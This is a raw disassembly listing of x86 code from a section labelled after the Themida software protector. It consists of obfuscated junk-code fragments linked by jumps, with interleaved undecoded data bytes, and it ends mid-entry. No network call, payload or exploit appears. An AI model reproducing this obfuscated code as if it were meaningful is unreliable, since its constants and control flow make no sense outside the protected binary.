loc_5ACF9B ; --------------------------------------------------------------------------- dd 181D101h, 1 ; --------------------------------------------------------------------------- loc_5A9BA8: ; CODE XREF: Themida_:00599A42j mov ecx, [esp] add esp, 4 and eax, ebp jmp loc_5A8019 ; --------------------------------------------------------------------------- loc_5A9BB5: ; CODE XREF: Themida_:0059C10Bj pop esp mov ax, [esp] push ebx mov ebx, esp push 0F5Ch mov [esp], edi sub esp, 4 mov [esp], esi jmp loc_5AE0C5 ; --------------------------------------------------------------------------- loc_5A9BD3: ; CODE XREF: Themida_:005A84BBj mov esi, 18CB260Ah jmp loc_59E3DA ; --------------------------------------------------------------------------- loc_5A9BDD: ; CODE XREF: Themida_:0059881Dj neg edi js loc_5A561C sub edi, 7C74A3EFh mov ecx, edi pop edi jmp loc_5A613F ; --------------------------------------------------------------------------- db 50h ; --------------------------------------------------------------------------- loc_5A9BF4: ; CODE XREF: Themida_:005AA4A5j push eax mov al, 62h sub al, 3Dh mov bl, al jmp loc_5AD32D ; --------------------------------------------------------------------------- loc_5A9C00: ; CODE XREF: Themida_:005A7745j not esi sub esi, 0CED3CACEh jmp loc_59F8AA ; --------------------------------------------------------------------------- loc_5A9C0D: ; CODE XREF: Themida_:005ACD8Bj mov edx, 27295BF2h inc edx jns loc_59BFE2 and edx, 2EA45897h jb loc_5A4413 shr edx, 8 loc_5A9C28: ; CODE XREF: Themida_:005A4C7Dj mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor [esp+4], ebx mov ebx, [esp] push ebp mov ebp, esp jmp loc_5A44C1 ; --------------------------------------------------------------------------- dd 0B9240C89h, 6896846h, 8937E956h, 2C8BFFFFh, 4C48324h dd 4C481h, 51420000h, 0FFE297E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9C6D: ; CODE XREF: Themida_:005ACBD0j mov ebx, 40F80646h xor ebx, edx jmp loc_59A73E ; --------------------------------------------------------------------------- loc_5A9C79: ; CODE XREF: Themida_:005ACE94j push esp mov edx, [esp] jmp loc_5A486B ; --------------------------------------------------------------------------- loc_5A9C82: ; CODE XREF: Themida_:005A9D92j pop eax xor ebp, eax pop eax sub eax, ebp mov ebp, [esp] jmp loc_5AB599 ; --------------------------------------------------------------------------- loc_5A9C90: ; CODE XREF: Themida_:005A18B6j ; Themida_:005A3DA9j jz loc_5A765C jmp loc_5A1396 ; --------------------------------------------------------------------------- loc_5A9C9B: ; CODE XREF: Themida_:loc_598C19j lodsd sub esp, 4 mov [esp], ebp push 38784511h mov ebp, [esp] push eax mov eax, esp push ebx jmp loc_5A9094 ; --------------------------------------------------------------------------- loc_5A9CB6: ; CODE XREF: Themida_:0059F9D5j mov eax, ebp pop ebp jmp loc_5993DA ; --------------------------------------------------------------------------- loc_5A9CBE: ; CODE XREF: Themida_:005A63E4j and eax, 12617D03h or eax, 11E1BFAh shl eax, 5 jmp loc_59B972 ; --------------------------------------------------------------------------- loc_5A9CD0: ; CODE XREF: Themida_:loc_5A6916j sub ebp, 65002378h jmp loc_5A63C1 ; --------------------------------------------------------------------------- db 8Bh dd 0A9E92424h, 89FFFEE6h, 0FF54243Ch, 3C8B2434h, 4EC8324h dd 0FF994EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9CF5: ; CODE XREF: Themida_:005A39D8j add edi, ecx pop ecx push edx mov edx, 69E47673h jmp loc_5AD4EF ; --------------------------------------------------------------------------- db 0C1h dd 40E905EEh db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9D0B: ; CODE XREF: Themida_:0059E68Fj xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push ebx sub esp, 4 mov [esp], ebp push esi mov esi, 5B004CEBh push ecx mov ecx, 1C1D28FDh mov ebp, ecx pop ecx sub ebp, 0F190B86h add ebp, esi add ebp, 0F190B86h mov esi, [esp] jmp loc_59BB71 ; --------------------------------------------------------------------------- dd 77A1C381h, 0E4E9565Fh db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9D4F: ; CODE XREF: Themida_:005ABB77j sub dl, 1 jmp loc_5A616C ; --------------------------------------------------------------------------- loc_5A9D57: ; CODE XREF: Themida_:0059D42Dj inc ah add ah, 0E7h sub cl, ah pop eax xor cl, 0C6h sub bl, cl pop ecx jmp loc_598793 ; --------------------------------------------------------------------------- loc_5A9D6A: ; CODE XREF: Themida_:00599771j mov ebp, 66DD34ADh sub eax, ebp mov ebp, [esp] add esp, 4 jmp loc_599BE2 ; --------------------------------------------------------------------------- loc_5A9D7F: ; CODE XREF: Themida_:loc_5A7D38j inc ebx jmp loc_5ABE17 ; --------------------------------------------------------------------------- loc_5A9D85: ; CODE XREF: Themida_:005A6C10j jz loc_59A9D0 add eax, 0B90A6871h mov ebp, eax jmp loc_5A9C82 ; --------------------------------------------------------------------------- loc_5A9D97: ; CODE XREF: Themida_:0059ABD0j ; Themida_:0059FB85j pop edi push 2915h mov [esp], ebp jmp loc_5A2E89 ; --------------------------------------------------------------------------- db 5Bh, 52h, 0BAh dd 4, 5E74BE56h, 0BB531489h, 3CED71B9h, 815BDE29h, 3A081CEEh dd 0E7B6E91Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9DC6: ; CODE XREF: Themida_:005AE8F5j mov [esp], ecx push 60E1h mov [esp], ebp mov ebp, 795F2983h add ebp, 1 push edi mov edi, 2FC10CA9h dec edi shr edi, 2 add edi, 6D6EE65Ch xor ebp, edi pop edi mov ecx, ebp mov ebp, [esp] push 35F1h mov [esp], edi mov edi, esp push ebx mov ebx, 4 add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp jmp loc_59F7B3 ; --------------------------------------------------------------------------- dw 0CB81h dd 6C8414FCh, 0A691840Fh, 0D3F7FFFFh, 0B0F8C381h, 0E953B7C4h dd 322Bh, 83240C8Bh, 0ADE904C4h, 66FFFF8Fh, 2244481h, 55663D96h dd 0FF4C97E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A9E49: ; CODE XREF: Themida_:loc_5A7794j ; Themida_:005AB6AEj ... pop esp shr eax, 12h xor eax, ecx sub esp, 4 mov [esp], eax push ebp push dword ptr [esp+4] jmp loc_59F16F ; --------------------------------------------------------------------------- loc_5A9E5F: ; CODE XREF: Themida_:005A0890j pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, 60765728h not eax add eax, 0C810EE5Eh sub ecx, eax pop eax add edx, ecx mov ecx, [esp] jmp loc_598FF8 ; --------------------------------------------------------------------------- loc_5A9E89: ; CODE XREF: Themida_:005A36EDj pop edx add eax, edx jmp loc_5AA8CA ; --------------------------------------------------------------------------- loc_5A9E91: ; CODE XREF: Themida_:005A8D75j sub eax, ebp add eax, 6E231FFDh jmp loc_59C96C ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FCE95A54h db 14h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A9EA7: ; CODE XREF: Themida_:005AD4EAj xor eax, ecx jmp loc_5A57C5 ; --------------------------------------------------------------------------- loc_5A9EAE: ; CODE XREF: Themida_:loc_5A614Cj xor bl, 19h jmp loc_5A8803 ; --------------------------------------------------------------------------- loc_5A9EB6: ; CODE XREF: Themida_:loc_59A35Cj dec ebx jno loc_5A6911 jmp loc_59ADA7 ; --------------------------------------------------------------------------- dw 0A8E9h dd 53FFFF55h ; --------------------------------------------------------------------------- loc_5A9EC8: ; CODE XREF: Themida_:005AB41Cj add esp, 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push ebp jmp loc_59927B ; --------------------------------------------------------------------------- loc_5A9EDE: ; CODE XREF: Themida_:0059FFB6j sub eax, ecx sub eax, 9F81A20h pop ecx sub ebp, 1AED1D47h sub ebp, 211A5681h add ebp, eax add ebp, 211A5681h add ebp, 1AED1D47h pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5A530A ; --------------------------------------------------------------------------- loc_5A9F0F: ; CODE XREF: Themida_:00599788j add edi, ebp mov ebp, [esp] push ebp jmp loc_5A8477 ; --------------------------------------------------------------------------- loc_5A9F1A: ; CODE XREF: Themida_:005A8666j mov ebx, 4BBA00C5h jmp loc_5ABD72 ; --------------------------------------------------------------------------- loc_5A9F24: ; CODE XREF: Themida_:005AC667j add edx, 32B101F7h push ebp mov ebp, 4DB8228Bh jmp loc_5A2DA8 ; --------------------------------------------------------------------------- loc_5A9F35: ; CODE XREF: Themida_:005AB22Dj xor [esp], esi xor esi, [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_59D327 ; --------------------------------------------------------------------------- loc_5A9F4C: ; CODE XREF: Themida_:005989C2j pop eax push 53h mov [esp], esi mov esi, 8650A23h sub ebp, esi pop esi sub ebp, edi add ebp, 8650A23h jmp loc_5A36F7 ; --------------------------------------------------------------------------- loc_5A9F6A: ; CODE XREF: Themida_:005A1CC1j push edx push esp pop edx jmp loc_5ACE7C ; --------------------------------------------------------------------------- loc_5A9F72: ; CODE XREF: Themida_:005ACE77j mov ax, [esp] push 1E87h mov [esp], ebp jmp loc_5A0E9A ; --------------------------------------------------------------------------- db 58h dd 0FEFF8DE9h, 0BEF581FFh, 0F5C956Fh, 0FFDBC381h, 85CD81FFh dd 0F496947h, 0FF8E5980h, 1C77FFFFh, 0D259669Dh, 0E99C2414h dd 0FFFEE3DCh ; --------------------------------------------------------------------------- loc_5A9FB0: ; CODE XREF: Themida_:loc_5A6C2Cj and esi, 397391Bh jnz loc_5A0F6E not esi push ebx mov ebx, 0FF7FFEF9h xor esi, ebx mov ebx, [esp] loc_5A9FC9: ; CODE XREF: Themida_:005ADFC7j xor ebx, ecx not ecx xor ebx, ecx xor ecx, ebx xor ebx, ecx push 60F0h mov [esp], esi sub esp, 4 mov [esp], ebx jmp loc_5A74B1 ; --------------------------------------------------------------------------- loc_5A9FE9: ; CODE XREF: Themida_:005AD8D3j mov [esp], ebp jmp loc_5AA15D ; --------------------------------------------------------------------------- loc_5A9FF1: ; CODE XREF: Themida_:005A2250j sub esp, 4 mov [esp], esp jmp loc_59E7B3 ; --------------------------------------------------------------------------- loc_5A9FFF: ; CODE XREF: Themida_:005AB05Ej add ecx, ebp pop ebp push esi sub esp, 4 jmp loc_5A5E44 ; --------------------------------------------------------------------------- aRs db 'Rι(!',0 align 4 loc_5AA014: ; CODE XREF: Themida_:005ADA62j mov ebx, 4 add eax, 2D77484Dh add eax, ebx sub esp, 4 mov [esp], esi mov esi, 2D77484Dh sub eax, esi pop esi pop ebx jmp loc_5A5BB3 ; --------------------------------------------------------------------------- loc_5AA037: ; CODE XREF: Themida_:loc_5A727Ej add al, 85h and al, 9Eh jmp loc_5A7510 ; --------------------------------------------------------------------------- loc_5AA040: ; CODE XREF: Themida_:005AB5E9j sub eax, esi pop esi add eax, 3A4F1A7Dh jmp loc_5A2C28 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 0FF5C2404h, 34FF2434h, 0E757E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AA062: ; CODE XREF: Themida_:005A3660j mov eax, 342E3272h add esi, eax pop eax pop eax xchg esi, [esp] mov esp, [esp] div ecx jmp loc_5A4CAA ; --------------------------------------------------------------------------- loc_5AA078: ; CODE XREF: Themida_:0059D595j jnz loc_599BD5 xor ebx, 60763E99h mov ebp, ebx jmp loc_5A1EB4 ; --------------------------------------------------------------------------- loc_5AA08B: ; CODE XREF: Themida_:005A1D73j pop esi push 3CBCh mov [esp], ebp mov ebp, edx jmp loc_5AC767 ; --------------------------------------------------------------------------- db 66h dd 0E924048Bh, 0FFFFD217h ; --------------------------------------------------------------------------- loc_5AA0A4: ; CODE XREF: Themida_:005A3F0Fj ; Themida_:005AC827j xchg esi, [esp] jmp loc_5A930D ; --------------------------------------------------------------------------- loc_5AA0AC: ; CODE XREF: Themida_:005A912Aj mov ah, 5Eh add bl, ah pop eax add bl, 0F3h add bl, al push ecx push eax mov al, 62h sub al, 31h jb loc_5ACCFA inc al jo loc_5A495A or al, 0A2h jp loc_5A46B4 or al, 5Bh jns loc_5AF205 dec al loc_5AA0DC: ; CODE XREF: Themida_:0059BFDDj push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi pop ecx pop esi xor eax, ecx jmp loc_5ACF73 ; --------------------------------------------------------------------------- loc_5AA0F8: ; CODE XREF: Themida_:005A07D6j add edx, 506A2FC0h push esi mov esi, 1DFA2BBBh sub edx, esi pop esi add edx, ecx add edx, 1DFA2BBBh sub edx, 506A2FC0h pop ecx add edx, 4 xchg edx, [esp] pop esp xchg eax, [esp] jmp loc_59BAD7 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0FFh dd 81FFFFFFh, 0E60F97F1h, 59CB8917h, 2941EB81h, 8D0F1036h dd 0FFFF4814h, 0FF070BE9h, 0C7815DFFh, 0AD6CD5ECh db 0B4h, 0A6h, 59h ; --------------------------------------------------------------------------- loc_5AA14F: ; CODE XREF: Themida_:005A2650j add eax, edx pop edx xchg eax, [esp] mov esp, [esp] jmp loc_5AA9CB ; --------------------------------------------------------------------------- loc_5AA15D: ; CODE XREF: Themida_:005A9FECj push esp jmp loc_5AF4B4 ; --------------------------------------------------------------------------- db 89h dd 7868242Ch, 8900000Fh, 0E9241Ch db 59h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA173: ; CODE XREF: Themida_:005AAC16j push 5A11h jmp loc_59AC50 ; --------------------------------------------------------------------------- loc_5AA17D: ; CODE XREF: Themida_:005A4949j mov dh, ah mov cl, dh pop edx pop eax and bh, cl jmp loc_5AB490 ; --------------------------------------------------------------------------- loc_5AA18A: ; CODE XREF: Themida_:00599304j sub edi, 0BA4EAB4Ch jmp loc_5ABE17 ; --------------------------------------------------------------------------- loc_5AA195: ; CODE XREF: Themida_:0059BD9Aj mov esi, [esp] add esp, 4 xor esi, 396819B8h mov [edi+20h], esi mov esi, [esp] add esp, 4 neg dword ptr [edi+20h] jle loc_5A4783 push eax sub esp, 4 mov [esp], ecx jmp loc_5AB966 ; --------------------------------------------------------------------------- db 68h, 0D1h, 70h dd 14890000h, 0CCB55124h, 805FED80h, 860FBEE5h, 0FFFF0BECh dd 0F677C580h, 735AE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA1E6: ; CODE XREF: Themida_:005A67DAj sub esi, 0D9A4F25h xor edx, esi mov esi, [esp] add esp, 4 jmp loc_5A1FBD ; --------------------------------------------------------------------------- db 2Dh, 0CDh, 6Fh dd 10E914FBh db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA203: ; CODE XREF: Themida_:005A9398j add edi, 822DB06Eh add ebp, 7F920035h jmp loc_59A425 ; --------------------------------------------------------------------------- loc_5AA214: ; CODE XREF: Themida_:005AD881j push edx mov edx, 1 add ebx, edx jmp loc_59A054 ; --------------------------------------------------------------------------- loc_5AA221: ; CODE XREF: Themida_:005A44A1j jmp loc_5AF1BD ; --------------------------------------------------------------------------- dw 8957h dd 4BD55E7h, 81000000h, 0DC6854EFh, 96EF8174h, 122DB27h dd 96C781EFh, 0E922DB27h, 0FFFF7F5Ch, 0C681E689h, 4, 4EE81h dd 0D7E90000h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA25B: ; CODE XREF: Themida_:005AB75Dj add esp, 4 xor ebx, eax jmp loc_5AA4F9 ; --------------------------------------------------------------------------- dd 31241C33h, 99E9241Ch, 0FFFFFF6Ah, 685B2434h, 0AF8h dd 89241489h, 3E83E9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA286: ; CODE XREF: Themida_:005AC39Fj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5988CC ; --------------------------------------------------------------------------- db 0Fh dd 0FF0F9D80h, 73B0E9FFh, 0E9ACFFFFh, 0FFFFA2C5h, 0B0E18159h dd 816CBD0Fh, 117777F1h, 59C82923h, 0E5E9D801h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA2BF: ; CODE XREF: Themida_:005998B0j jg loc_5A332E jmp loc_5A89EA ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFAA69h, 4ED835Bh, 5C242C87h, 0FFB313E9h, 0C8B66FFh dd 0B6C3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA2E6: ; CODE XREF: Themida_:005A278Fj pop edi push dword ptr [esp] jmp loc_59CE22 ; --------------------------------------------------------------------------- loc_5AA2EF: ; CODE XREF: Themida_:005AB100j pop esi push eax mov eax, 23427930h sub ebx, eax jmp loc_5AE58F ; --------------------------------------------------------------------------- loc_5AA2FD: ; CODE XREF: Themida_:005AD3AFj js loc_59BB7F shl edi, 5 jns loc_5A6C96 mov bh, dh add al, 1 loc_5AA310: ; CODE XREF: Themida_:00599F75j mov edx, 76427087h jmp loc_59A298 ; --------------------------------------------------------------------------- loc_5AA31A: ; CODE XREF: Themida_:005A9B50j push esi mov esi, 1CCD862h add edx, esi pop esi sub ecx, edx pop edx sub ebp, ecx pop ecx add ebp, edi add ebp, 34A47916h mov edi, [esp] jmp loc_5AE368 ; --------------------------------------------------------------------------- loc_5AA339: ; CODE XREF: Themida_:005A7B05j mov ecx, [esp] add esp, 4 push 4465h mov [esp], edi sub esp, 4 mov [esp], ebx jmp loc_5A7440 ; --------------------------------------------------------------------------- loc_5AA352: ; CODE XREF: Themida_:0059AE2Aj push 38DCh mov [esp], eax mov ah, 88h push ax xchg bl, [esp+1] not bl jmp loc_5AF497 ; --------------------------------------------------------------------------- loc_5AA369: ; CODE XREF: Themida_:005AF4D4j push edx mov edx, esp jmp loc_5ADD06 ; --------------------------------------------------------------------------- loc_5AA371: ; CODE XREF: Themida_:005A4ACBj add esp, 4 sub esp, 4 mov [esp], edi jmp loc_59FBA0 ; --------------------------------------------------------------------------- loc_5AA382: ; CODE XREF: Themida_:005A1F75j mov [esp], edi mov edi, 73B4C40h shl edi, 2 or edi, 6F380851h and edi, 376E1894h push ebx jmp loc_59B137 ; --------------------------------------------------------------------------- loc_5AA39F: ; CODE XREF: Themida_:005A0DC9j shl eax, 5 shr eax, 8 add eax, 24483290h sub eax, 0B1331EFBh xor ebp, eax pop eax neg ebp jmp loc_5A46F7 ; --------------------------------------------------------------------------- loc_5AA3B9: ; CODE XREF: Themida_:005ACFD4j mov edx, ecx pop ecx jmp loc_599F55 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0FE010000h, 68243C8Bh, 7143h, 0E9241489h, 1DA8h, 8704EA83h dd 895C2414h, 1068242Ch, 8900005Ah, 4812424h, 424h, 55535D00h dd 4BDh, 2C815500h, 0A52A8924h, 0BD555B18h, 18A52A89h dd 0E95DEB01h, 0FFFFC994h, 0F9A3EE81h, 54E958FCh, 81000035h dd 29181BC6h, 2434FF68h, 0FF31F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA429: ; CODE XREF: Themida_:005A2EF7j push esp pop ebp push 3A2Bh mov [esp], edx push 676Ah mov [esp], esi mov esi, 1AE036BAh push 720Ch mov [esp], ebp jmp loc_59BD1C ; --------------------------------------------------------------------------- loc_5AA44D: ; CODE XREF: Themida_:005A9775j push ebp jmp loc_5A00D0 ; --------------------------------------------------------------------------- db 0Dh dd 7B651D28h, 80409535h, 58C60100h, 2BBEF681h, 0F20103A1h dd 60CE95Eh, 19E9FFFFh, 0E9FFFEDFh, 0FFFF9578h ; --------------------------------------------------------------------------- loc_5AA478: ; CODE XREF: Themida_:005A2B0Cj add [esp+4], edi mov edi, [esp] push edi push esp pop edi jmp loc_5A4686 ; --------------------------------------------------------------------------- loc_5AA487: ; CODE XREF: Themida_:0059FED0j mov ecx, 4 jmp loc_59D5AE ; --------------------------------------------------------------------------- loc_5AA491: ; CODE XREF: Themida_:005ADB38j xor esi, eax pop eax push edi jmp loc_598D6B ; --------------------------------------------------------------------------- dw 0EDE9h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AA49F: ; CODE XREF: Themida_:005A2B5Cj pop bx push ecx mov cl, 1Eh push ebx jmp loc_5A9BF4 ; --------------------------------------------------------------------------- loc_5AA4AA: ; CODE XREF: Themida_:005AD5A0j mov esi, 5B7656CAh add esi, 0A489A937h and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_59EB15 ; --------------------------------------------------------------------------- dd 24048F5Eh, 2434FF5Ch, 5F545758h, 2D3B850h, 0CFE95B96h dd 0FFFFFF3Eh, 48B2434h, 4C48124h, 81000000h, 4ECh, 243C8900h dd 110E9h db 0 ; --------------------------------------------------------------------------- loc_5AA4F9: ; CODE XREF: Themida_:005AA263j push small word ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AA501: ; CODE XREF: Themida_:005AACA8j mov [esp], eax push ebx jmp loc_59C7B2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 3D03BB53h, 0E38143F6h, 2736679Dh, 0E054830Fh, 0E951FFFFh dd 0FFFF4372h, 29BAE681h db 78h, 4Ah, 56h ; --------------------------------------------------------------------------- loc_5AA52F: ; CODE XREF: Themida_:0059C6C4j xor ecx, 2B50F99Dh jmp loc_5A7B03 ; --------------------------------------------------------------------------- loc_5AA53A: ; CODE XREF: Themida_:0059DE9Aj ; Themida_:005A53E4j pop ecx mov ecx, edi mov edi, [esp] add esp, 4 push eax mov eax, 40496A21h add eax, 67654108h shr eax, 7 neg eax add eax, 6B064F36h add eax, 7C8B0C2Ah mov esi, eax pop eax add esi, ecx pop ecx shr esi, 8 or esi, 59D724CEh sub esi, 1 jmp loc_59BF96 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4CBEE9h db 0 ; --------------------------------------------------------------------------- loc_5AA57D: ; CODE XREF: Themida_:005997F1j mov eax, esp jmp loc_5A57EA ; --------------------------------------------------------------------------- dd 860FDDF7h, 0FFFFF59Fh, 0AB35B850h, 0C531CEB7h, 89EA8958h db 0CDh ; --------------------------------------------------------------------------- loc_5AA599: ; CODE XREF: Themida_:005AF076j mov ebp, 56E95F0Ah sub ebp, 56E95F06h mov eax, ebp pop ebp sub esi, eax jmp loc_599DF0 ; --------------------------------------------------------------------------- loc_5AA5AE: ; CODE XREF: Themida_:005A7D9Dj mov ecx, 546E19CBh and ecx, 12E329E0h and ecx, 3C4A58A3h jmp loc_598C1E ; --------------------------------------------------------------------------- dd 1B7DE95Eh, 8C0FFFFFh, 0FFFF1529h, 87E65B2Dh, 58C5898Fh dd 57B85053h, 89433C59h, 0AE6DE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA5E6: ; CODE XREF: Themida_:005A4E85j sub edi, esi jmp loc_59EE4D ; --------------------------------------------------------------------------- loc_5AA5ED: ; CODE XREF: Themida_:005A1B38j add ecx, ebp pop ebp push eax mov eax, 368929B2h jmp loc_59B65C ; --------------------------------------------------------------------------- loc_5AA5FB: ; CODE XREF: Themida_:005A7469j or ebx, eax pop eax add ebx, 8400E01Ah jmp loc_5AE524 ; --------------------------------------------------------------------------- db 68h, 83h, 68h dd 8F540000h, 4832404h, 0A5E90424h db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA61B: ; CODE XREF: Themida_:005AD700j or ebx, eax jmp loc_5A881E ; --------------------------------------------------------------------------- loc_5AA622: ; CODE XREF: Themida_:0059CA6Aj push esi jmp loc_5A53CC ; --------------------------------------------------------------------------- loc_5AA628: ; CODE XREF: Themida_:005A0DE5j push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_5A4C82 ; --------------------------------------------------------------------------- dd 5C241C87h, 0FF9461E9h db 0FFh ; --------------------------------------------------------------------------- loc_5AA651: ; CODE XREF: Themida_:0059B382j add cl, bl sub cl, 44h jmp loc_59952A ; --------------------------------------------------------------------------- loc_5AA65B: ; CODE XREF: Themida_:0059E2E0j add ebx, 3A9931B0h sub eax, ebx pop ebx push 0AEFh mov [esp], edi jmp loc_5AB06A ; --------------------------------------------------------------------------- loc_5AA671: ; CODE XREF: Themida_:005A73B7j mov esi, [esp] add esp, 4 not ecx push edi mov edi, 0C762B3Eh jmp loc_59CB05 ; --------------------------------------------------------------------------- dd offset dword_510960+8 dd 70456800h, 8F540000h, 57552404h, 4BFh, 5FFD8900h, 4246C81h dd 2DA3138Bh, 4244481h, 6B530916h, 4246C01h, 4246C81h dd 6B530916h, 4244481h, 2DA3138Bh, 5D2434FFh, 4C481h, 48F0000h dd 0E494E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5AA6D2: ; CODE XREF: Themida_:005A712Aj mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp jmp loc_5A513D ; --------------------------------------------------------------------------- loc_5AA6E7: ; CODE XREF: Themida_:005A61E1j push 4E9Bh mov [esp], edi mov edi, 369753DAh shl edi, 1 shl edi, 2 sub edi, 732B3A73h sub esi, edi mov edi, [esp] add esp, 4 jmp loc_5AC5AD ; --------------------------------------------------------------------------- loc_5AA70F: ; CODE XREF: Themida_:00598FB2j add esi, 4 push eax push edx mov edx, 1A233125h jmp loc_5A62E4 ; --------------------------------------------------------------------------- loc_5AA721: ; CODE XREF: Themida_:005A2CC7j add dword ptr [esp], 4 mov ebp, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax xchg ecx, [esp] jmp loc_5A8AB9 ; --------------------------------------------------------------------------- loc_5AA74A: ; CODE XREF: Themida_:005A4EBEj jb loc_5AE75F add ebp, 0DBB3D02Bh inc ebp jmp loc_59B172 ; --------------------------------------------------------------------------- dd 0D324248Bh, 0E99C240Ch, 0FFFF9283h ; --------------------------------------------------------------------------- loc_5AA768: ; CODE XREF: Themida_:0059979Dj pop ebp sub eax, edi pop edi mov edx, [esp] push ecx jmp loc_5A1BEA ; --------------------------------------------------------------------------- db 0Fh, 85h, 5Dh dd 81000031h, 446A95EEh, 5EF5898Ch, 8152E680h, 47E417EFh dd 8BFE8900h, 0C481243Ch, 4, 348BF331h, 7A0EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA7A2: ; CODE XREF: Themida_:005A3483j add esi, 4 jmp loc_5A08C7 ; --------------------------------------------------------------------------- loc_5AA7AD: ; CODE XREF: Themida_:005AA873j push edi jmp loc_5ADDE7 ; --------------------------------------------------------------------------- loc_5AA7B3: ; CODE XREF: Themida_:005A5FE6j xor ebx, eax mov eax, [esp] add esp, 4 and ebx, 38DB6CA0h push edx mov edx, 65A04A48h or edx, 2623614Bh jmp loc_5AE4A5 ; --------------------------------------------------------------------------- loc_5AA7D2: ; CODE XREF: Themida_:005A49DCj mov [esp], edi mov edi, 3F7F625Ch push edi pop ebx pop edi push esi mov esi, 57E70D63h shr esi, 2 add esi, 4A2228F1h push ebp mov ebp, 4CE63D8Ch or esi, ebp jmp loc_59BCA8 ; --------------------------------------------------------------------------- loc_5AA7F9: ; CODE XREF: Themida_:005AB0D1j pop ebp shr eax, 6 shr eax, 3 shr eax, 6 jmp loc_5A827A ; --------------------------------------------------------------------------- loc_5AA808: ; CODE XREF: Themida_:005A353Fj sub esp, 4 mov [esp], edi mov edi, 3AE76D6h shr edi, 6 add edi, 0FFFFFFFFh add edi, 331E82C1h add eax, edi pop edi jmp loc_59D3DB ; --------------------------------------------------------------------------- loc_5AA82A: ; CODE XREF: Themida_:005AB63Ej add esi, 210C7189h jmp loc_59AB0D ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 3CFBE9h db 0 ; --------------------------------------------------------------------------- loc_5AA83D: ; CODE XREF: Themida_:00599A31j push 63B4249Ah mov ecx, [esp] add esp, 4 shr ecx, 7 sub ecx, 0B2F86432h jmp loc_5AAAD7 ; --------------------------------------------------------------------------- loc_5AA856: ; CODE XREF: Themida_:005A1407j sub eax, 5E5041C6h jp loc_5A5AA2 add eax, 34DEEA45h jmp loc_5A8633 ; --------------------------------------------------------------------------- db 8Ah db 0ECh ; --------------------------------------------------------------------------- loc_5AA86D: ; CODE XREF: Themida_:00598A10j push ebx mov ebx, 495D726Dh jmp loc_5AA7AD ; --------------------------------------------------------------------------- loc_5AA878: ; CODE XREF: Themida_:005ABF0Dj add edi, 4 xchg edi, [esp] pop esp jmp loc_59A361 ; --------------------------------------------------------------------------- loc_5AA887: ; CODE XREF: Themida_:005988B5j ; Themida_:005A42D6j push edx mov edx, esp push ebx mov ebx, 1BDC02E2h push 30FEh mov [esp], eax mov eax, 2DEF4BCDh push edx mov edx, 784527BEh add eax, edx pop edx dec eax push 2858h mov [esp], ebp mov ebp, 3E290FD9h or eax, ebp pop ebp jmp loc_5A7464 ; --------------------------------------------------------------------------- dd 0A7C2E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5AA8C2: ; CODE XREF: Themida_:0059C43Fj ; Themida_:005A125Fj mov [esp], ecx jmp loc_59B903 ; --------------------------------------------------------------------------- loc_5AA8CA: ; CODE XREF: Themida_:0059F761j ; Themida_:005A9E8Cj sub eax, 671432D6h jmp loc_59C596 ; --------------------------------------------------------------------------- loc_5AA8D4: ; CODE XREF: Themida_:005A01CFj sub ebx, 5EAF2219h mov ebp, [esp] add esp, 4 jmp loc_5A6D43 ; --------------------------------------------------------------------------- loc_5AA8E5: ; CODE XREF: Themida_:005985FCj mov ecx, 180B3B60h jmp loc_5A2559 ; --------------------------------------------------------------------------- loc_5AA8EF: ; CODE XREF: Themida_:005AD018j add al, 0D1h add al, 0E5h push edx mov dl, 48h sub al, dl pop edx push ecx jmp loc_5A3E22 ; --------------------------------------------------------------------------- loc_5AA8FF: ; CODE XREF: 